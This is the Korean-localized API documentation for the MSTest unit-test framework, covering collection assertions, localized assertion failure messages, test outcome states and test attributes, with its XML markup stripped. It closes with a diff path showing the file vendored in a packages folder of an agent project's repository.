예상되는 컬렉션: . - - - 다음의 상위 집합일 것으로 예상되지 않는 컬렉션: - - - - 의 모든 요소가 다음에서도 발견되는 경우 예외에 포함할 메시지: . - 테스트 결과에 메시지가 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if every element in is also found in - . - - - - - 두 컬렉션에 동일한 요소가 포함되어 있는지를 테스트하고, - 한 컬렉션이 다른 컬렉션에 없는 요소를 포함하는 경우 예외를 - throw합니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 요소를 - 포함합니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성되는 - 컬렉션입니다. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 두 컬렉션에 동일한 요소가 포함되어 있는지를 테스트하고, - 한 컬렉션이 다른 컬렉션에 없는 요소를 포함하는 경우 예외를 - throw합니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 요소를 - 포함합니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성되는 - 컬렉션입니다. - - - 요소가 컬렉션 중 하나에서는 발견되었지만 다른 곳에서는 발견되지 - 않은 경우 예외에 포함할 메시지. 메시지가 테스트 결과에 - 표시됩니다. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 두 컬렉션에 동일한 요소가 포함되어 있는지를 테스트하고, - 한 컬렉션이 다른 컬렉션에 없는 요소를 포함하는 경우 예외를 - throw합니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 요소를 - 포함합니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성되는 - 컬렉션입니다. - - - 요소가 컬렉션 중 하나에서는 발견되었지만 다른 곳에서는 발견되지 - 않은 경우 예외에 포함할 메시지. 메시지가 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 두 컬렉션에 서로 다른 요소가 포함되어 있는지를 테스트하고, - 두 컬렉션이 순서와 상관없이 동일한 요소를 포함하는 경우 예외를 - throw합니다. - - - 비교할 첫 번째 컬렉션. 여기에는 테스트가 실제 컬렉션과 다를 것으로 - 예상하는 요소가 포함됩니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성되는 - 컬렉션입니다. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 두 컬렉션에 서로 다른 요소가 포함되어 있는지를 테스트하고, - 두 컬렉션이 순서와 상관없이 동일한 요소를 포함하는 경우 예외를 - throw합니다. - - - 비교할 첫 번째 컬렉션. 여기에는 테스트가 실제 컬렉션과 다를 것으로 - 예상하는 요소가 포함됩니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성되는 - 컬렉션입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 동일한 요소를 포함하는 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 두 컬렉션에 서로 다른 요소가 포함되어 있는지를 테스트하고, - 두 컬렉션이 순서와 상관없이 동일한 요소를 포함하는 경우 예외를 - throw합니다. - - - 비교할 첫 번째 컬렉션. 여기에는 테스트가 실제 컬렉션과 다를 것으로 - 예상하는 요소가 포함됩니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성되는 - 컬렉션입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 동일한 요소를 포함하는 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 지정된 컬렉션의 모든 요소가 예상 형식의 인스턴스인지를 테스트하고 - 예상 형식이 하나 이상의 요소의 상속 계층 구조에 없는 경우 - 예외를 throw합니다. - - - 테스트가 지정된 형식 중 하나일 것으로 예상하는 요소가 포함된 - 컬렉션. - - - 다음의 각 요소의 예상 형식: . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 지정된 컬렉션의 모든 요소가 예상 형식의 인스턴스인지를 테스트하고 - 예상 형식이 하나 이상의 요소의 상속 계층 구조에 없는 경우 - 예외를 throw합니다. - - - 테스트가 지정된 형식 중 하나일 것으로 예상하는 요소가 포함된 - 컬렉션. - - - 다음의 각 요소의 예상 형식: . - - - - 의 요소가 다음의 인스턴스가 아닌 경우 예외에 포함할 메시지: - . 메시지가 테스트 결과에 표시됩니다. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 지정된 컬렉션의 모든 요소가 예상 형식의 인스턴스인지를 테스트하고 - 예상 형식이 하나 이상의 요소의 상속 계층 구조에 없는 경우 - 예외를 throw합니다. - - - 테스트가 지정된 형식 중 하나일 것으로 예상하는 요소가 포함된 - 컬렉션. - - - 다음의 각 요소의 예상 형식: . - - - - 의 요소가 다음의 인스턴스가 아닌 경우 예외에 포함할 메시지: - . 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 지정된 컬렉션이 같은지를 테스트하고, 두 컬렉션이 같지 않으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 있는 - 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 같은 것으로 - 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 컬렉션입니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - Thrown if is not equal to - . - - - - - 지정된 컬렉션이 같은지를 테스트하고, 두 컬렉션이 같지 않으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 있는 - 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 같은 것으로 - 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 컬렉션입니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not equal to - . - - - - - 지정된 컬렉션이 같은지를 테스트하고, 두 컬렉션이 같지 않으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 있는 - 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 같은 것으로 - 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 컬렉션입니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to - . - - - - - 지정된 컬렉션이 다른지를 테스트하고, 두 컬렉션이 같으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 - 있는 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 - 같은 것으로 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 컬렉션입니다. . - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - Thrown if is equal to . - - - - - 지정된 컬렉션이 다른지를 테스트하고, 두 컬렉션이 같으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 - 있는 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 - 같은 것으로 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 컬렉션입니다. . - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 컬렉션이 다른지를 테스트하고, 두 컬렉션이 같으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 - 있는 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 - 같은 것으로 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 컬렉션입니다. . - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 지정된 컬렉션이 같은지를 테스트하고, 두 컬렉션이 같지 않으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 있는 - 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 같은 것으로 - 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 컬렉션입니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 컬렉션의 요소를 비교할 때 사용할 비교 구현. - - - Thrown if is not equal to - . - - - - - 지정된 컬렉션이 같은지를 테스트하고, 두 컬렉션이 같지 않으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 있는 - 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 같은 것으로 - 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 컬렉션입니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 컬렉션의 요소를 비교할 때 사용할 비교 구현. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not equal to - . - - - - - 지정된 컬렉션이 같은지를 테스트하고, 두 컬렉션이 같지 않으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 있는 - 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 같은 것으로 - 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 컬렉션입니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 컬렉션의 요소를 비교할 때 사용할 비교 구현. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to - . - - - - - 지정된 컬렉션이 다른지를 테스트하고, 두 컬렉션이 같으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 - 있는 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 - 같은 것으로 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 컬렉션입니다. . - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 컬렉션의 요소를 비교할 때 사용할 비교 구현. - - - Thrown if is equal to . - - - - - 지정된 컬렉션이 다른지를 테스트하고, 두 컬렉션이 같으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 - 있는 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 - 같은 것으로 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 컬렉션입니다. . - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 컬렉션의 요소를 비교할 때 사용할 비교 구현. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 컬렉션이 다른지를 테스트하고, 두 컬렉션이 같으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 - 있는 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 - 같은 것으로 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 컬렉션입니다. . - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 컬렉션의 요소를 비교할 때 사용할 비교 구현. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 첫 번째 컬렉션이 두 번째 컬렉션의 하위 집합인지를 - 확인합니다. 한 집합에 중복된 요소가 포함된 경우, 하위 집합에 있는 요소의 - 발생 횟수는 상위 집합에 있는 발생 횟수와 같거나 - 작아야 합니다. - - - 테스트가 다음에 포함될 것으로 예상하는 컬렉션: . - - - 테스트가 다음을 포함할 것으로 예상하는 컬렉션: . - - - 다음의 경우 True 이(가) - 의 하위 집합인 경우 참, 나머지 경우는 거짓. - - - - - 지정된 컬렉션에서 각 요소의 발생 횟수를 포함하는 - 사전을 생성합니다. - - - 처리할 컬렉션. - - - 컬렉션에 있는 null 요소의 수. - - - 지정된 컬렉션에 있는 각 요소의 발생 횟수를 포함하는 - 딕셔너리. - - - - - 두 컬렉션 간의 불일치 요소를 찾습니다. 불일치 요소란 - 예상 컬렉션에 나타나는 횟수가 실제 컬렉션에 - 나타나는 횟수와 다른 요소를 말합니다. 컬렉션은 - 같은 수의 요소가 있는 Null이 아닌 다른 참조로 - 간주됩니다. 이 수준에서의 확인 작업은 호출자의 - 책임입니다. 불일치 요소가 없으면 함수는 false를 - 반환하고 출력 매개 변수가 사용되지 않습니다. - - - 비교할 첫 번째 컬렉션. - - - 비교할 두 번째 컬렉션. - - - 다음의 예상 발생 횟수: - 또는 불일치 요소가 없는 경우 - 영(0). - - - 다음의 실제 발생 횟수: - 또는 불일치 요소가 없는 경우 - 영(0). - - - 불일치 요소(null일 수 있음) 또는 불일치 요소가 없는 경우 - null. - - - 불일치 요소가 발견되면 참, 발견되지 않으면 거짓. - - - - - object.Equals를 사용하여 개체 비교합니다. - - - - - 프레임워크 예외에 대한 기본 클래스입니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - 메시지. - 예외. - - - - 클래스의 새 인스턴스를 초기화합니다. - - 메시지. - - - - 지역화된 문자열 등을 찾기 위한 강력한 형식의 리소스 클래스입니다. - - - - - 이 클래스에서 사용하는 캐시된 ResourceManager 인스턴스를 반환합니다. - - - - - 이 강력한 형식의 리소스 클래스를 사용하여 모든 리소스 조회에 - 대한 현재 스레드의 CurrentUICulture 속성을 재정의합니다. - - - - - [액세스 문자열의 구문이 잘못되었습니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 컬렉션에 <{2}>은(는) {1}개가 포함되어야 하는데 실제 컬렉션에는 {3}개가 포함되어 있습니다. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [중복된 항목이 있습니다. <{1}>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 값: <{1}>. 대/소문자가 다른 실제 값: <{2}>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 값 <{1}>과(와) 실제 값 <{2}>의 차이가 <{3}>보다 크지 않아야 합니다. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 값: <{1}({2})>. 실제 값: <{3}({4})>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 값: <{1}>. 실제 값: <{2}>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 값 <{1}>과(와) 실제 값 <{2}>의 차이가 <{3}>보다 커야 합니다. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 값: <{1}>을(를) 제외한 모든 값. 실제 값: <{2}>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [AreSame()에 값 형식을 전달하면 안 됩니다. Object로 변환된 값은 동일한 값으로 간주되지 않습니다. AreEqual()을 사용해 보세요. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [{0}이(가) 실패했습니다. {1}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [async TestMethod with UITestMethodAttribute는 지원되지 않습니다. async를 제거하거나 TestMethodAttribute를 사용하세요.]와 유사한 지역화된 문자열 조회합니다. - - - - - [두 컬렉션이 모두 비어 있습니다. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [두 컬렉션에 같은 요소가 포함되어 있습니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [두 컬렉션 참조가 동일한 컬렉션 개체를 가리킵니다. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [두 컬렉션에 같은 요소가 포함되어 있습니다. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [{0}({1})]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [(null)]과 유사한 지역화된 문자열을 조회합니다. - - - - - Looks up a localized string similar to (object). - - - - - ['{0}' 문자열이 '{1}' 문자열을 포함하지 않습니다. {2}.]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [{0}({1})]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [어설션에 Assert.Equals를 사용할 수 없습니다. 대신 Assert.AreEqual 및 오버로드를 사용하세요.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [컬렉션의 요소 수가 일치하지 않습니다. 예상 값: <{1}>. 실제 값: <{2}>.{0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [인덱스 {0}에 있는 요소가 일치하지 않습니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [인덱스 {1}에 있는 요소는 예상 형식이 아닙니다. 예상 형식: <{2}>. 실제 형식: <{3}>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [인덱스 {1}에 있는 요소가 (null)입니다. 예상 형식: <{2}>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - ['{0}' 문자열이 '{1}' 문자열로 끝나지 않습니다. {2}.]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [잘못된 인수 - EqualsTester에는 Null을 사용할 수 없습니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [{0} 형식의 개체를 {1} 형식의 개체로 변환할 수 없습니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [참조된 내부 개체가 더 이상 유효하지 않습니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - ['{0}' 매개 변수가 잘못되었습니다. {1}.]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [{0} 속성의 형식은 {2}이어야 하는데 실제로는 {1}입니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [{0} 예상 형식: <{1}>. 실제 형식: <{2}>.]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - ['{0}' 문자열이 '{1}' 패턴과 일치하지 않습니다. {2}.]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [잘못된 형식: <{1}>. 실제 형식: <{2}>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - ['{0}' 문자열이 '{1}' 패턴과 일치합니다. {2}.]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [DataRowAttribute가 지정되지 않았습니다. DataTestMethodAttribute에는 하나 이상의 DataRowAttribute가 필요합니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [{1} 예외를 예상했지만 예외가 throw되지 않았습니다. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - ['{0}' 매개 변수가 잘못되었습니다. 이 값은 Null일 수 없습니다. {1}.](과)와 유사한 지역화된 문자열을 조회합니다. - - - - - [요소 수가 다릅니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - 다음과 유사한 지역화된 문자열을 조회합니다. - [지정한 시그니처를 가진 생성자를 찾을 수 없습니다. 전용 접근자를 다시 생성해야 할 수 있습니다. - 또는 멤버가 기본 클래스에 정의된 전용 멤버일 수 있습니다. 기본 클래스에 정의된 전용 멤버인 경우에는 이 멤버를 정의하는 형식을 - PrivateObject의 생성자에 전달해야 합니다.] - - - - - - 다음과 유사한 지역화된 문자열을 조회합니다. - [지정한 멤버({0})를 찾을 수 없습니다. 전용 접근자를 다시 생성해야 할 수 있습니다. - 또는 멤버가 기본 클래스에 정의된 전용 멤버일 수 있습니다. 기본 클래스에 정의된 전용 멤버인 경우에는 이 멤버를 정의하는 형식을 - PrivateObject의 생성자에 전달해야 합니다.] - - - - - - ['{0}' 문자열이 '{1}' 문자열로 시작되지 않습니다. {2}.]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 예외 형식은 System.Exception이거나 System.Exception에서 파생된 형식이어야 합니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [(예외로 인해 {0} 형식의 예외에 대한 메시지를 가져오지 못했습니다.)]와 유사한 지역화된 문자열을 조회합니다. - - - - - [테스트 메서드에서 예상 예외 {0}을(를) throw하지 않았습니다. {1}](과)와 유사한 지역화된 문자열을 조회합니다. - - - - - [테스트 메서드에서 예상 예외를 throw하지 않았습니다. 예외는 테스트 메서드에 정의된 {0} 특성에 의해 예상되었습니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [테스트 메서드에서 {0} 예외를 throw했지만 {1} 예외를 예상했습니다. 예외 메시지: {2}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [테스트 메서드에서 {0} 예외를 throw했지만 {1} 예외 또는 해당 예외에서 파생된 형식을 예상했습니다. 예외 메시지: {2}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [{1} 예외를 예상했지만 {2} 예외를 throw했습니다. {0} - 예외 메시지: {3} - 스택 추적: {4}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - 단위 테스트 결과 - - - - - 테스트가 실행되었지만 문제가 있습니다. - 예외 또는 실패한 어설션과 관련된 문제일 수 있습니다. - - - - - 테스트가 완료되었지만, 성공인지 실패인지를 알 수 없습니다. - 중단된 테스트에 사용된 것일 수 있습니다. - - - - - 아무 문제 없이 테스트가 실행되었습니다. - - - - - 테스트가 현재 실행 중입니다. - - - - - 테스트를 실행하려고 시도하는 동안 시스템 오류가 발생했습니다. - - - - - 테스트가 시간 초과되었습니다. - - - - - 테스트가 사용자에 의해 중단되었습니다. - - - - - 테스트의 상태를 알 수 없습니다. - - - - - 단위 테스트 프레임워크에 대한 도우미 기능을 제공합니다. - - - - - 재귀적으로 모든 내부 예외에 대한 메시지를 포함하여 예외 메시지를 - 가져옵니다. - - 오류 메시지 정보가 포함된 - 문자열에 대한 메시지 가져오기의 예외 - - - - 클래스와 함께 사용할 수 있는 시간 제한에 대한 열거형입니다. - 열거형의 형식은 일치해야 합니다. - - - - - 무제한입니다. - - - - - 테스트 클래스 특성입니다. - - - - - 이 테스트를 실행할 수 있는 테스트 메서드 특성을 가져옵니다. - - 이 메서드에 정의된 테스트 메서드 특성 인스턴스입니다. - 이 테스트를 실행하는 데 사용됩니다. - Extensions can override this method to customize how all methods in a class are run. - - - - 테스트 메서드 특성입니다. - - - - - 테스트 메서드를 실행합니다. - - 실행할 테스트 메서드입니다. - 테스트 결과를 나타내는 TestResult 개체의 배열입니다. - Extensions can override this method to customize running a TestMethod. - - - - 테스트 초기화 특성입니다. - - - - - 테스트 정리 특성입니다. - - - - - 무시 특성입니다. - - - - - 테스트 속성 특성입니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - - 이름. - - - 값. - - - - - 이름을 가져옵니다. - - - - - 값을 가져옵니다. - - - - - 클래스 초기화 특성입니다. - - - - - 클래스 정리 특성입니다. - - - - - 어셈블리 초기화 특성입니다. - - - - - 어셈블리 정리 특성입니다. - - - - - 테스트 소유자 - - - - - 클래스의 새 인스턴스를 초기화합니다. - - - 소유자. - - - - - 소유자를 가져옵니다. - - - - - Priority 특성 - 단위 테스트의 우선 순위를 지정하는 데 사용됩니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - - 우선 순위. - - - - - 우선 순위를 가져옵니다. - - - - - 테스트의 설명 - - - - - 테스트를 설명하는 클래스의 새 인스턴스를 초기화합니다. - - 설명입니다. - - - - 테스트의 설명을 가져옵니다. - - - - - CSS 프로젝트 구조 URI - - - - - CSS 프로젝트 구조 URI에 대한 클래스의 새 인스턴스를 초기화합니다. - - CSS 프로젝트 구조 URI입니다. - - - - CSS 프로젝트 구조 URI를 가져옵니다. - - - - - CSS 반복 URI - - - - - CSS 반복 URI에 대한 클래스의 새 인스턴스를 초기화합니다. - - CSS 반복 URI입니다. - - - - CSS 반복 URI를 가져옵니다. - - - - - WorkItem 특성 - 이 테스트와 연결된 작업 항목을 지정하는 데 사용됩니다. - - - - - WorkItem 특성에 대한 클래스의 새 인스턴스를 초기화합니다. - - 작업 항목에 대한 ID입니다. - - - - 연결된 작업 항목에 대한 ID를 가져옵니다. - - - - - Timeout 특성 - 단위 테스트의 시간 제한을 지정하는 데 사용됩니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - - 시간 제한. - - - - - 미리 설정된 시간 제한이 있는 클래스의 새 인스턴스를 초기화합니다. - - - 시간 제한 - - - - - 시간 제한을 가져옵니다. - - - - - 어댑터에 반환할 TestResult 개체입니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - - - - 결과의 표시 이름을 가져오거나 설정합니다. 여러 결과를 반환할 때 유용합니다. - Null인 경우 메서드 이름은 DisplayName으로 사용됩니다. - - - - - 테스트 실행의 결과를 가져오거나 설정합니다. - - - - - 테스트 실패 시 throw할 예외를 가져오거나 설정합니다. - - - - - 테스트 코드에서 로그한 메시지의 출력을 가져오거나 설정합니다. - - - - - 테스트 코드에서 로그한 메시지의 출력을 가져오거나 설정합니다. - - - - - 테스트 코드에 의한 디버그 추적을 가져오거나 설정합니다. - - - - - Gets or sets the debug traces by test code. - - - - - 테스트 실행의 지속 시간을 가져오거나 설정합니다. - - - - - 데이터 소스에서 데이터 행 인덱스를 가져오거나 설정합니다. 데이터 기반 테스트에서 - 개별 데이터 행 실행의 결과에 대해서만 설정합니다. - - - - - 테스트 메서드의 반환 값을 가져오거나 설정합니다(현재 항상 Null). - - - - - 테스트로 첨부한 결과 파일을 가져오거나 설정합니다. - - - - - 데이터 기반 테스트에 대한 연결 문자열, 테이블 이름 및 행 액세스 방법을 지정합니다. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - DataSource의 기본 공급자 이름입니다. - - - - - 기본 데이터 액세스 방법입니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. 이 인스턴스는 데이터 소스에 액세스할 데이터 공급자, 연결 문자열, 데이터 테이블 및 데이터 액세스 방법으로 초기화됩니다. - - 고정 데이터 공급자 이름(예: System.Data.SqlClient) - - 데이터 공급자별 연결 문자열. - 경고: 연결 문자열에는 중요한 데이터(예: 암호)가 포함될 수 있습니다. - 연결 문자열은 소스 코드와 컴파일된 어셈블리에 일반 텍스트로 저장됩니다. - 이 중요한 정보를 보호하려면 소스 코드 및 어셈블리에 대한 액세스를 제한하세요. - - 데이터 테이블의 이름. - 데이터에 액세스할 순서를 지정합니다. - - - - 클래스의 새 인스턴스를 초기화합니다. 이 인스턴스는 연결 문자열 및 테이블 이름으로 초기화됩니다. - OLEDB 데이터 소스에 액세스하기 위한 연결 문자열 및 데이터 테이블을 지정하세요. - - - 데이터 공급자별 연결 문자열. - 경고: 연결 문자열에는 중요한 데이터(예: 암호)가 포함될 수 있습니다. - 연결 문자열은 소스 코드와 컴파일된 어셈블리에 일반 텍스트로 저장됩니다. - 이 중요한 정보를 보호하려면 소스 코드 및 어셈블리에 대한 액세스를 제한하세요. - - 데이터 테이블의 이름. - - - - 클래스의 새 인스턴스를 초기화합니다. 이 인스턴스는 설정 이름과 연결된 연결 문자열 및 데이터 공급자로 초기화됩니다. - - app.config 파일의 <microsoft.visualstudio.qualitytools> 섹션에 있는 데이터 소스의 이름. - - - - 데이터 소스의 데이터 공급자를 나타내는 값을 가져옵니다. - - - 데이터 공급자 이름. 데이터 공급자를 개체 초기화에서 지정하지 않은 경우 System.Data.OleDb의 기본 공급자가 반환됩니다. - - - - - 데이터 소스의 연결 문자열을 나타내는 값을 가져옵니다. - - - - - 데이터를 제공하는 테이블 이름을 나타내는 값을 가져옵니다. - - - - - 데이터 소스에 액세스하는 데 사용되는 메서드를 가져옵니다. - - - - 값 중 하나입니다. 이(가) 초기화되지 않은 경우 다음 기본값이 반환됩니다. . - - - - - app.config 파일의 <microsoft.visualstudio.qualitytools> 섹션에서 찾은 데이터 소스의 이름을 가져옵니다. - - - - - 데이터를 인라인으로 지정할 수 있는 데이터 기반 테스트의 특성입니다. - - - - - 모든 데이터 행을 찾고 실행합니다. - - - 테스트 메서드. - - - 배열 . - - - - - 데이터 기반 테스트 메서드를 실행합니다. - - 실행할 테스트 메서드. - 데이터 행. - 실행 결과. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/pl/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml 